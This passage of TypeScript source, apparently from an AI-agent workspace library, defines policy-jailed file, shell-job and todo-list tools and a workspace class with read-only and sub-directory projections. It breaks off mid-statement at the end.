tests\",\n input: runTestsInputSchema,\n execute: (input, ctx) => {\n // The pattern rides as ONE quoted token (double quotes and newlines are\n // rejected by the schema; under /bin/sh it is single-quoted, so `$` and\n // backticks stay literal), so it reaches the runner as a single argv\n // element and can never smuggle in additional commands or arguments.\n const command = input.pattern\n ? `${baseCommand} ${quotePattern(input.pattern, options?.interpreter ?? \"none\", options?.dialect, options?.platform)}`\n : baseCommand;\n\n return ops.exec(command, ctx?.signal ? { signal: ctx.signal } : undefined);\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ShellJobInfo, ShellKillInput, WorkspaceOps } from \"../contracts\";\nimport { SHELL_KILL_JSON_SCHEMA } from \"./json-schemas\";\nimport { objectSchema, stringField } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"shell_kill\";\n\n/** Input schema for the `shell_kill` tool. */\nconst inputSchema = objectSchema<ShellKillInput>({ id: stringField() }, SHELL_KILL_JSON_SCHEMA);\n\n/**\n * Build the agent-facing `shell_kill` tool: stop a background command\n * started with `run_shell({ background: true })`, killing its whole process\n * tree, and return its final state. Killing a command that already stopped\n * just reports its state. An unknown id surfaces as a `WorkspaceJobError`\n * in the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeShellKillTool(ops).invoke({ id: \"job-1\" });\n * console.log(data?.status); // \"killed\"\n */\nexport function makeShellKillTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ShellKillInput, ShellJobInfo> {\n return tool<ShellKillInput, ShellJobInfo>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Stop a background command started with run_shell (background: true), \" +\n \"killing it and everything it started. Returns its final state.\",\n action: (input) =>\n `Stopping ${typeof input.id === \"string\" ? input.id : \"a background command\"}`,\n input: inputSchema,\n execute: (input) => ops.shellKill(input.id),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ShellOutputInput, ShellOutputResult, WorkspaceOps } from \"../contracts\";\nimport { SHELL_OUTPUT_JSON_SCHEMA } from \"./json-schemas\";\nimport { objectSchema, optionalNumberField, stringField } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"shell_output\";\n\n/** Input schema for the `shell_output` tool. */\nconst inputSchema = objectSchema<ShellOutputInput>(\n {\n id: stringField(),\n since: optionalNumberField(),\n waitMs: optionalNumberField(),\n },\n SHELL_OUTPUT_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `shell_output` tool: the new output of a\n * background command started with `run_shell({ background: true })`, plus\n * its state (`running` / `exited` / `killed` / `timed-out`, `exitCode`).\n *\n * Without `since` it returns everything produced since the previous read;\n * `cursor` in the result is the position to pass as `since` next time.\n * `waitMs` (at most 30 s) waits for new output or for the command to stop\n * when there is nothing new yet — the agent run's signal ends the wait\n * early. Only the newest `shell.maxOutputBytes` of a command's output are\n * kept; `droppedBytes` says how much the reader missed.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeShellOutputTool(ops).invoke({ id: \"job-1\", waitMs: 2_000 });\n * if (data?.stdout.includes(\"ready\")) console.log(\"dev server is up\");\n */\nexport function makeShellOutputTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ShellOutputInput, ShellOutputResult> {\n return tool<ShellOutputInput, ShellOutputResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Read new output of a background command started with run_shell \" +\n \"(background: true) and see whether it is still running. Returns \" +\n \"output since the last read; waitMs waits briefly for more.\",\n action: (input) =>\n `Reading output of ${typeof input.id === \"string\" ? input.id : \"a background command\"}`,\n input: inputSchema,\n execute: (input, ctx) =>\n ops.shellOutput(input.id, {\n ...(input.since !== undefined ? { since: input.since } : {}),\n ...(input.waitMs !== undefined ? { waitMs: input.waitMs } : {}),\n ...(ctx?.signal ? { signal: ctx.signal } : {}),\n }),\n });\n}\n","import type {\n TodoListResult,\n WorkspaceTodo,\n WorkspaceTodoInput,\n WorkspaceTodoStatus,\n} from \"./contracts\";\n\n/** Most items a todo list may hold. */\nexport const MAX_TODOS = 100;\n\n/** Longest `content` one todo item may have. */\nexport const MAX_TODO_CONTENT_LENGTH = 1_000;\n\n/** The statuses a todo item may have, in display order. */\nexport const TODO_STATUSES: readonly WorkspaceTodoStatus[] = [\n \"pending\",\n \"in_progress\",\n \"completed\",\n];\n\n/**\n * Validate a whole replacement list. Returns the problems found (empty when\n * the list is valid) so the tool schema and the direct method share one\n * set of rules.\n */\nexport function todoListProblems(todos: readonly WorkspaceTodoInput[]): string[] {\n const problems: string[] = [];\n const ids = new Set<string>();\n\n if (todos.length > MAX_TODOS) {\n problems.push(`a todo list holds at most ${MAX_TODOS} items (got ${todos.length})`);\n }\n\n todos.forEach((todo, index) => {\n if (todo.content.trim() === \"\") {\n problems.push(`todos[${index}].content must not be empty`);\n }\n\n if (todo.content.length > MAX_TODO_CONTENT_LENGTH) {\n problems.push(`todos[${index}].content is longer than ${MAX_TODO_CONTENT_LENGTH} characters`);\n }\n\n if (!TODO_STATUSES.includes(todo.status)) {\n problems.push(`todos[${index}].status must be one of ${TODO_STATUSES.join(\", \")}`);\n }\n\n const id = todo.id ?? String(index + 1);\n\n if (ids.has(id)) {\n problems.push(`todos[${index}].id \"${id}\" is used more than once`);\n }\n\n ids.add(id);\n });\n\n return problems;\n}\n\n/**\n * The in-memory todo list of one workspace (shared by its projections).\n * `write` replaces the whole list, the way an agent's plan tool usually\n * works: the model sends the full updated list every time.\n */\nexport class TodoStore {\n private items: WorkspaceTodo[] = [];\n\n /** The current list and a count per status. */\n public read(): TodoListResult {\n const counts: Record<WorkspaceTodoStatus, number> = {\n pending: 0,\n in_progress: 0,\n completed: 0,\n };\n\n for (const item of this.items) {\n counts[item.status]++;\n }\n\n return { todos: this.items.map((item) => ({ ...item })), counts };\n }\n\n /**\n * Replace the list. Items without an `id` get their 1-based position as\n * one. Throws a `RangeError` naming every problem when the list is invalid\n * (too long, empty content, unknown status, duplicate id); the old list is\n * kept in that case.\n */\n public write(todos: readonly WorkspaceTodoInput[]): TodoListResult {\n const problems = todoListProblems(todos);\n\n if (problems.length > 0) {\n throw new RangeError(`Invalid todo list: ${problems.join(\"; \")}.`);\n }\n\n this.items = todos.map((todo, index) => ({\n id: todo.id ?? String(index + 1),\n content: todo.content.trim(),\n status: todo.status,\n }));\n\n return this.read();\n }\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { MAX_TODOS, TODO_STATUSES, type TodoStore, todoListProblems } from \"../todos\";\nimport type {\n TodoListResult,\n TodoWriteInput,\n WorkspaceTodoInput,\n WorkspaceTodoStatus,\n} from \"../contracts\";\nimport { TODO_READ_JSON_SCHEMA, TODO_WRITE_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Whether `value` is a todo status. */\nfunction isTodoStatus(value: unknown): value is WorkspaceTodoStatus {\n return typeof value === \"string\" && (TODO_STATUSES as readonly string[]).includes(value);\n}\n\n/** Input schema for the `todo_write` tool. */\nconst todoWriteSchema = withJsonSchema<TodoWriteInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const raw = (value as Record<string, unknown>).todos;\n\n if (!Array.isArray(raw) || raw.length > MAX_TODOS) {\n return {\n issues: [\n {\n message: `\"todos\" must be an array of at most ${MAX_TODOS} items`,\n path: [\"todos\"],\n },\n ],\n };\n }\n\n const issues: StandardSchemaV1.Issue[] = [];\n const todos: WorkspaceTodoInput[] = [];\n\n raw.forEach((item: unknown, index: number) => {\n if (typeof item !== \"object\" || item === null || Array.isArray(item)) {\n issues.push({ message: `todos[${index}] must be an object`, path: [\"todos\", index] });\n\n return;\n }\n\n const candidate = item as Record<string, unknown>;\n\n if (typeof candidate.content !== \"string\") {\n issues.push({\n message: `todos[${index}].content must be a string`,\n path: [\"todos\", index, \"content\"],\n });\n }\n\n if (!isTodoStatus(candidate.status)) {\n issues.push({\n message: `todos[${index}].status must be one of ${TODO_STATUSES.join(\", \")}`,\n path: [\"todos\", index, \"status\"],\n });\n }\n\n if (candidate.id !== undefined && typeof candidate.id !== \"string\") {\n issues.push({\n message: `todos[${index}].id must be a string when provided`,\n path: [\"todos\", index, \"id\"],\n });\n }\n\n if (typeof candidate.content === \"string\" && isTodoStatus(candidate.status)) {\n todos.push({\n content: candidate.content,\n status: candidate.status,\n ...(typeof candidate.id === \"string\" ? { id: candidate.id } : {}),\n });\n }\n });\n\n if (issues.length === 0) {\n for (const problem of todoListProblems(todos)) {\n issues.push({ message: problem, path: [\"todos\"] });\n }\n }\n\n return issues.length > 0 ? { issues } : { value: { todos } };\n },\n },\n },\n TODO_WRITE_JSON_SCHEMA,\n);\n\n/** Input schema for the `todo_read` tool (no arguments). */\nconst todoReadSchema = withJsonSchema<Record<string, never>>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate: () => ({ value: {} }),\n },\n },\n TODO_READ_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `todo_write` tool over a workspace's todo list:\n * the model sends the **complete** updated list (each item `content` +\n * `status` of `pending` / `in_progress` / `completed`, optional `id`) and it\n * replaces the old one. The list lives in memory, per workspace (shared by\n * its `readonly()` / `scope()` projections), for the length of the run.\n *\n * @param store - The workspace's todo list.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * await makeTodoWriteTool(store).invoke({\n * todos: [\n * { content: \"Reproduce the failing test\", status: \"completed\" },\n * { content: \"Fix the rounding bug\", status: \"in_progress\" },\n * ],\n * });\n */\nexport function makeTodoWriteTool(\n store: TodoStore,\n options?: { name?: string },\n): ToolContract<TodoWriteInput, TodoListResult> {\n return tool<TodoWriteInput, TodoListResult>({\n name: options?.name ?? \"todo_write\",\n description:\n \"Replace your todo list for this task with the complete updated list \" +\n \"(each item: content and status pending | in_progress | completed). \" +\n \"Use it to plan multi-step work and to mark progress.\",\n action: \"Updating the todo list\",\n input: todoWriteSchema,\n execute: async (input) => store.write(input.todos),\n });\n}\n\n/**\n * Build the agent-facing `todo_read` tool: the workspace's current todo\n * list and a count per status.\n *\n * @param store - The workspace's todo list.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeTodoReadTool(store).invoke({});\n * console.log(data?.counts.pending);\n */\nexport function makeTodoReadTool(\n store: TodoStore,\n options?: { name?: string },\n): ToolContract<Record<string, never>, TodoListResult> {\n return tool<Record<string, never>, TodoListResult>({\n name: options?.name ?? \"todo_read\",\n description: \"Read your current todo list for this task.\",\n action: \"Reading the todo list\",\n input: todoReadSchema,\n execute: async () => store.read(),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport { WRITE_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { WorkspaceOps, WriteFileInput, WriteFileResult } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"write_file\";\n\n/** Input schema for the `write_file` tool. */\nconst inputSchema = objectSchema<WriteFileInput>(\n {\n path: stringField(),\n content: stringField(),\n },\n WRITE_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `write_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, content }` against a Standard Schema, then\n * delegates to `ops.writeFile`, which atomically writes the full content\n * (creating parent directories) and returns the byte count and content\n * `hash`. The tool re-attaches the workspace-relative `path` so the\n * result matches the {@link WriteFileResult} wire shape.\n *\n * **Errors flow as data.** A jail escape is thrown by `ops`; the\n * `tool()` wrapper catches it and surfaces it in the returned `{ error }`\n * field — `invoke()` never throws.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const writeTool = makeWriteFileTool(ops);\n * const { data } = await writeTool.invoke({ path: \"src/new.ts\", content: \"export {};\" });\n * console.log(data.bytesWritten, data.hash);\n */\nexport function makeWriteFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<WriteFileInput, WriteFileResult> {\n return tool<WriteFileInput, WriteFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Write full content to a workspace file, creating it (and any parent \" +\n \"directories) if absent and overwriting it otherwise. The write is \" +\n \"atomic. Returns the bytes written and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n const { hash, bytesWritten, diagnostics } = await ops.writeFile(input.path, input.content);\n\n return {\n path: input.path,\n bytesWritten,\n hash,\n ...(diagnostics !== undefined ? { diagnostics } : {}),\n };\n },\n });\n}\n","import path from \"node:path\";\nimport { ai, type ToolContract } from \"@warlock.js/ai\";\nimport { createLocalBackend } from \"./backends/local\";\nimport { createMockBackend } from \"./backends/mock\";\nimport { WorkspacePolicyError } from \"./errors\";\nimport { createOps } from \"./ops\";\nimport { samePattern } from \"./policy/approval-helpers\";\nimport { classifyShellCommand } from \"./policy/shell-check\";\nimport { resolveShell, type ResolvedShell } from \"./policy/shell-interpreter\";\nimport { ShellJobs } from \"./shell-jobs\";\nimport { TodoStore } from \"./todos\";\nimport { applyPatchWithOps } from \"./patch/apply-patch-generic\";\nimport { makeApplyPatchTool } from \"./tools/apply-patch\";\nimport { makeEditFileTool } from \"./tools/edit-file\";\nimport { makeGlobTool } from \"./tools/glob\";\nimport { makeGrepTool } from \"./tools/grep\";\nimport { makeListDirTool } from \"./tools/list-dir\";\nimport { makeMultiEditTool } from \"./tools/multi-edit\";\nimport { makeReadFileTool } from \"./tools/read-file\";\nimport { makeRunShellTool } from \"./tools/run-shell\";\nimport { makeRunTestsTool } from \"./tools/run-tests\";\nimport { makeShellKillTool } from \"./tools/shell-kill\";\nimport { makeShellOutputTool } from \"./tools/shell-output\";\nimport { makeTodoReadTool, makeTodoWriteTool } from \"./tools/todo\";\nimport { makeWriteFileTool } from \"./tools/write-file\";\nimport type {\n ApplyPatchInput,\n ApplyPatchResult,\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepResult,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n TodoListResult,\n Workspace,\n WorkspaceBackend,\n WorkspaceCommandPattern,\n WorkspaceOps,\n WorkspaceShellClassification,\n WorkspacePolicy,\n WorkspaceTodoInput,\n WorkspaceToolName,\n WorkspaceTools,\n} from \"./contracts\";\n\n/**\n * The full set of tool names a writable workspace vends, in a stable\n * canonical order so `tools.all()` is deterministic.\n */\nconst ALL_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"editFile\",\n \"multiEdit\",\n \"applyPatch\",\n \"writeFile\",\n \"listDir\",\n \"runShell\",\n \"shellOutput\",\n \"shellKill\",\n \"runTests\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/**\n * The subset a {@link Workspace.readonly} projection exposes — the\n * tools that cannot change the tree. `editFile` / `multiEdit` /\n * `writeFile` / the shell tools / `runTests` are deliberately omitted so a\n * reviewer agent has no path to change it. The todo tools stay: they only\n * touch the in-memory plan.\n */\nconst READONLY_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"listDir\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/** Tools vended only when the policy enables background commands. */\nconst BACKGROUND_TOOL_NAMES: ReadonlySet<WorkspaceToolName> = new Set([\"shellOutput\", \"shellKill\"]);\n\n/**\n * State one workspace shares with every projection made from it: its\n * background commands and its todo list.\n */\ninterface WorkspaceState {\n jobs: ShellJobs;\n todos: TodoStore;\n /** Command patterns the host approved with `remember`. */\n approvals: WorkspaceCommandPattern[];\n}\n\n/**\n * Choose the dumb IO executor for a policy. `\"mock\"` selects the\n * in-memory backend (hermetic tests); anything else — including the\n * `\"local\"` default and an absent `backend` — selects the real-disk\n * local backend.\n */\nfunction selectBackend(policy: WorkspacePolicy): WorkspaceBackend {\n if (policy.backend === \"mock\") {\n return createMockBackend();\n }\n\n return createLocalBackend();\n}\n\n/**\n * The internal {@link Workspace} implementation. Holds the resolved\n * backend, the policy, and the single shared {@link WorkspaceOps} seam\n * that both the agent-facing `.tools.*` factories and the human-facing\n * direct methods funnel through — one jail, one rule set, two callers.\n *\n * The `allowedTools` set narrows what `tools.*` will vend and which\n * mutating direct methods are permitted: a full workspace allows every\n * name; a {@link WorkspaceImpl.readonly} projection allows only the\n * read/grep/glob subset and rejects writes/edits/shell/mkdir/remove.\n *\n * Constructed via {@link workspace}; the class itself is internal.\n */\nclass WorkspaceImpl implements Workspace {\n /** The shared, policy-enforced operation layer (jail + guards). */\n private readonly ops: WorkspaceOps;\n\n /** Tool names this projection is permitted to vend / mutate through. */\n private readonly allowedTools: ReadonlySet<WorkspaceToolName>;\n\n public readonly policy: WorkspacePolicy;\n\n public readonly tools: WorkspaceTools;\n\n public readonly shell: {\n classify(line: string): WorkspaceShellClassification;\n remembered(): readonly WorkspaceCommandPattern[];\n forget(pattern: WorkspaceCommandPattern): boolean;\n };\n\n /** The shell the policy's interpreter resolves to on this host. */\n private readonly resolvedShell: ResolvedShell;\n\n /** Background commands + todo list, shared with projections. */\n private readonly state: WorkspaceState;\n\n public constructor(\n policy: WorkspacePolicy,\n allowedTools: readonly WorkspaceToolName[] = ALL_TOOL_NAMES,\n state?: WorkspaceState,\n ) {\n this.policy = policy;\n this.allowedTools = new Set(allowedTools);\n this.state = state ?? { jobs: new ShellJobs(), todos: new TodoStore(), approvals: [] };\n this.resolvedShell = resolveShell(policy.shell);\n const approvals = this.state.approvals;\n\n this.shell = {\n classify: (line) => classifyShellCommand(line, policy),\n remembered: () => [...approvals],\n forget: (pattern) => {\n const index = approvals.findIndex((entry) => samePattern(entry, pattern));\n\n if (index === -1) {\n return false;\n }\n\n approvals.splice(index, 1);\n\n return true;\n },\n };\n\n const backend = selectBackend(policy);\n this.ops = createOps(backend, policy, {\n jobs: this.state.jobs,\n approvals: this.state.approvals,\n });\n this.tools = this.buildTools();\n }\n\n /**\n * Assemble the agent-facing tool namespace. Each factory builds its\n * tool over the shared `ops`; `all()` returns every *allowed* tool in\n * canonical order and `pick(...)` returns the named subset (silently\n * dropping any name this projection does not allow, so a `readonly()`\n * workspace can never be coaxed into vending a mutating tool).\n */\n private buildTools(): WorkspaceTools {\n // Each `make*Tool` returns a precisely-typed\n // `ToolContract<SpecificInput, SpecificOutput>`, but the agent-facing\n // `WorkspaceTools` surface vends the type-erased `ToolContract`\n // (`ToolContract<unknown, unknown>`). Because `ToolContract` puts its\n // input in a contravariant position (`execute(input)` / `action(input)`),\n // a specific contract is not assignable to the erased one — so erase it\n // once, here, through `unknown`. The runtime object is identical; only\n // the static input type is widened for the shared surface.\n const erase = <TInput, TOutput>(contract: ToolContract<TInput, TOutput>): ToolContract =>\n contract as unknown as ToolContract;\n\n const shell = this.policy.shell;\n const background = shell?.background !== undefined;\n const resolvedShell = this.resolvedShell;\n\n const factories: Record<\n WorkspaceToolName,\n (opts?: { name?: string; command?: string }) => ToolContract\n > = {\n readFile: (opts) => erase(makeReadFileTool(this.ops, opts)),\n editFile: (opts) => erase(makeEditFileTool(this.ops, opts)),\n multiEdit: (opts) => erase(makeMultiEditTool(this.ops, opts)),\n applyPatch: (opts) => erase(makeApplyPatchTool(this.ops, opts)),\n writeFile: (opts) => erase(makeWriteFileTool(this.ops, opts)),\n listDir: (opts) => erase(makeListDirTool(this.ops, opts)),\n runShell: (opts) =>\n erase(\n makeRunShellTool(this.ops, {\n ...(opts?.name !== undefined ? { name: opts.name } : {}),\n ...(shell?.timeoutMs !== undefined ? { maxTimeoutMs: shell.timeoutMs } : {}),\n background,\n ...(resolvedShell.interpreter !== \"none\" ? { shellLabel: resolvedShell.label } : {}),\n shellDialect: resolvedShell.interpreter === \"none\" ? \"none\" : resolvedShell.dialect,\n }),\n ),\n shellOutput: (opts) => erase(makeShellOutputTool(this.ops, opts)),\n shellKill: (opts) => erase(makeShellKillTool(this.ops, opts)),\n runTests: (opts) =>\n erase(\n makeRunTestsTool(this.ops, {\n ...opts,\n interpreter: resolvedShell.interpreter,\n dialect: resolvedShell.dialect,\n }),\n ),\n grep: (opts) => erase(makeGrepTool(this.ops, opts)),\n glob: (opts) => erase(makeGlobTool(this.ops, opts)),\n todoWrite: (opts) => erase(makeTodoWriteTool(this.state.todos, opts)),\n todoRead: (opts) => erase(makeTodoReadTool(this.state.todos, opts)),\n };\n\n const build = (name: WorkspaceToolName, opts?: { name?: string; command?: string }) =>\n factories[name](opts);\n\n // `shell_output` / `shell_kill` only mean something when background\n // commands can be started, so `all()` leaves them out otherwise.\n const vendedByAll = (name: WorkspaceToolName): boolean =>\n this.allowedTools.has(name) && (background || !BACKGROUND_TOOL_NAMES.has(name));\n\n return {\n all: () => ALL_TOOL_NAMES.filter(vendedByAll).map((name) => build(name)),\n pick: (...names: WorkspaceToolName[]) =>\n names.filter((name) => this.allowedTools.has(name)).map((name) => build(name)),\n readFile: (opts) => build(\"readFile\", opts),\n editFile: (opts) => build(\"editFile\", opts),\n multiEdit: (opts) => build(\"multiEdit\", opts),\n applyPatch: (opts) => build(\"applyPatch\", opts),\n writeFile: (opts) => build(\"writeFile\", opts),\n listDir: (opts) => build(\"listDir\", opts),\n runShell: (opts) => build(\"runShell\", opts),\n shellOutput: (opts) => build(\"shellOutput\", opts),\n shellKill: (opts) => build(\"shellKill\", opts),\n runTests: (opts) => build(\"runTests\", opts),\n grep: (opts) => build(\"grep\", opts),\n glob: (opts) => build(\"glob\", opts),\n todoWrite: (opts) => build(\"todoWrite\", opts),\n todoRead: (opts) => build(\"todoRead\", opts),\n };\n }\n\n /**\n * Reject a mutating direct method on a read-only projection — surfaced\n * as a {@link WorkspacePolicyError} (the same typed error a denied\n * command produces) so a caller branches on `error.type`.\n */\n private assertWritable(operation: string): void {\n if (this.allowedTools.has(\"writeFile\")) {\n return;\n }\n\n throw new WorkspacePolicyError(\n `Operation \"${operation}\" is not permitted on a read-only workspace.`,\n { type: \"denied-command\", command: operation },\n );\n }\n\n public readFile(\n filePath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n return this.ops.readFile(filePath, opts);\n }\n\n public async writeFile(\n filePath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n this.assertWritable(\"writeFile\");\n\n return this.ops.writeFile(filePath, content);\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n this.assertWritable(\"editFile\");\n\n return this.ops.editFile(input);\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n this.assertWritable(\"multiEdit\");\n\n return this.ops.multiEdit(input);\n }\n\n public async applyPatch(input: ApplyPatchInput): Promise<ApplyPatchResult> {\n this.assertWritable(\"applyPatch\");\n\n return this.ops.applyPatch ? this.ops.applyPatch(input) : applyPatchWithOps(this.ops, input);\n }\n\n public listDir(dirPath?: string, opts?: ListDirOptions): Promise<ListDirResult> {\n return this.ops.listDir(dirPath, opts);\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n this.assertWritable(\"exec\");\n\n return this.ops.exec(command, opts);\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n this.assertWritable(\"startShell\");\n\n return this.ops.startShell(command, opts);\n }\n\n public shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n return this.ops.shellOutput(id, opts);\n }\n\n public async shellKill(id: string): Promise<ShellJobInfo> {\n this.assertWritable(\"shellKill\");\n\n return this.ops.shellKill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.ops.listShells();\n }\n\n public readTodos(): TodoListResult {\n return this.state.todos.read();\n }\n\n public writeTodos(todos: WorkspaceTodoInput[]): TodoListResult {\n return this.state.todos.write(todos);\n }\n\n public dispose(): Promise<void> {\n return this.ops.dispose();\n }\n\n public grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n return this.ops.grep(pattern, opts);\n }\n\n public glob(pattern: string): Promise<string[]> {\n return this.ops.glob(pattern);\n }\n\n public exists(filePath: string): Promise<boolean> {\n return this.ops.exists(filePath);\n }\n\n public async mkdir(filePath: string): Promise<void> {\n this.assertWritable(\"mkdir\");\n\n return this.ops.mkdir(filePath);\n }\n\n public async remove(filePath: string): Promise<void> {\n this.assertWritable(\"remove\");\n\n return this.ops.remove(filePath);\n }\n\n /**\n * A read-only projection over the SAME policy — only the read / list /\n * grep / glob / todo tools are vended and every mutating direct method\n * rejects with a {@link WorkspacePolicyError}. A fresh ops/backend is\n * built from the identical policy, so the projection sees the same jailed\n * tree; it shares this workspace's background commands and todo list.\n */\n public readonly(): Workspace {\n return new WorkspaceImpl(\n this.policy,\n READONLY_TOOL_NAMES.filter((name) => this.allowedTools.has(name)),\n this.state,\n );\n }\n\n /**\n * A sub-jailed view rooted at `subdir` (relative to this workspace's\n * `cwd`). Returns a brand-new workspace whose policy is this policy\n * with `cwd` narrowed to `join(cwd, subdir)` — same backend selection,\n * same allow/deny/shell/read sub-policies, but a tighter jail root. It\n * shares this workspace's background commands and todo list.\n */\n public scope(subdir: string): Workspace {\n return new WorkspaceImpl(\n { ...this.policy, cwd: path.join(this.policy.cwd, subdir) },\n [...this.allowedTools],\n this.state,\n );\n }\n}\n\n/**\n * Build a {@link Workspace} — the integrator that wires a\n * {@link WorkspacePolicy} to a backend, the shared policy-enforced ops\n * layer, and the agent-facing tool factories.\n *\n * The backend is chosen from `policy.backend`: `\"mock\"` runs in memory\n * (hermetic tests); the `\"local\"` default (and any absent value) runs\n * over the real disk via `@warlock.js/fs` + `node:child_process`. The\n * returned workspace exposes:\n *\n * - **`tools.*`** — `readFile` / `editFile` / `multiEdit` / `writeFile` /\n * `listDir` / `runShell` / `shellOutput` / `shellKill` / `runTests` /\n * `grep` / `glob` / `todoWrite` / `todoRead`, plus `all()` (every tool)\n * and `pick(...)` (a least-privilege subset).\n * - **direct methods** — `readFile` / `writeFile` / `editFile` /\n * `multiEdit` / `listDir` / `exec` / `startShell` / `shellOutput` /\n * `shellKill` / `listShells` / `grep` / `glob` / `exists` / `mkdir` /\n * `remove` / `readTodos` / `writeTodos`, each delegating to the shared\n * ops layer, and `dispose()`.\n * - **`readonly()`** — a projection that vends only the read-side tools and\n * rejects every mutating direct method.\n * - **`scope(subdir)`** — a sub-jailed workspace rooted at `subdir`.\n *\n * Available at runtime as `ai.workspace(policy)` once this module is\n * imported (it registers the verb on the shared `ai` object).\n *\n * @param policy - The policy bounding the workspace (its `cwd` is the jail root).\n * @returns A fully-wired {@link Workspace}.\n *\n * @example\n * const ws = workspace({ cwd: \"/srv/acme-api\", shell: { allow: [\"npm\"], inheritEnv: [\"PATH\"] } });\n * const dev = ai.agent({ model, tools: ws.tools.all() });\n * await dev.execute(\"Make the failing cart-total suite green.\");\n *\n * @example\n * // Least-privilege reviewer — no write, no shell.\n * const reviewer = ai.agent({ model, tools: ws.readonly().tools.all() });\n */\nexport function workspace(policy: WorkspacePolicy): Workspace {\n return new WorkspaceImpl(policy);\n}\n\n/**\n * Attach the `workspace` verb to the `ai` namespace via module augmentation,\n * per the `ai.`-namespace convention. `@warlock.js/ai` now exposes a named `Ai`\n * interface for exactly this, so after a bare `import \"@warlock.js/ai-workspace\"`,\n * `ai.workspace(...)` is globally typed — no view/cast needed.\n */\ndeclare module \"@warlock.js/ai\" {\n interface Ai {\n /** Build a policy-jailed filesystem + shell {@link Workspace}. */\n workspace(policy: WorkspacePolicy): Workspace;\n }\n}\n\n// Runtime registration: attach `workspace` onto the shared `ai` object the\n// moment this package is imported (the augmentation above types it).\nai.workspace = 